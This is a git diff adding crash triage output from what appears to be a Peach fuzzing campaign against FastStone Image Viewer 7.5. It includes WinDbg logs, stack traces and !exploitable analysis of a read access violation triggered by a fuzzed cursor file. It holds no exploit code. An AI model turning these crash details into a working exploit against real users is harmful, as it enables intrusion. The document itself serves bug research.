+image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.718529053629891680000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.21769e+027 4.91648e-037 -1.29765e-018 -5.70722e-023 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f38130 07eb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00307000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00307000 309e8738 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a2 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00307000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/61199/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/61199/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..de688e3 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/61199/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x244: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x244: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(244.a48): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=03ffed2d ecx=07e57b10 edx=00003879 esi=f3e30010 edi=07c80fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.718529053629891680000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.21769e+027 4.91648e-037 -1.29765e-018 -5.70722e-023 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f38130 07eb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00307000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00307000 309e8738 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a2 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00307000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/61199/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/61199/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..7c7c812 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/61199/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/62365/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/62365/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/62365/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/62365/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/62365/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..cc43248 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/62365/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/62365/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/62365/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..2dcba0e --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/62365/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll 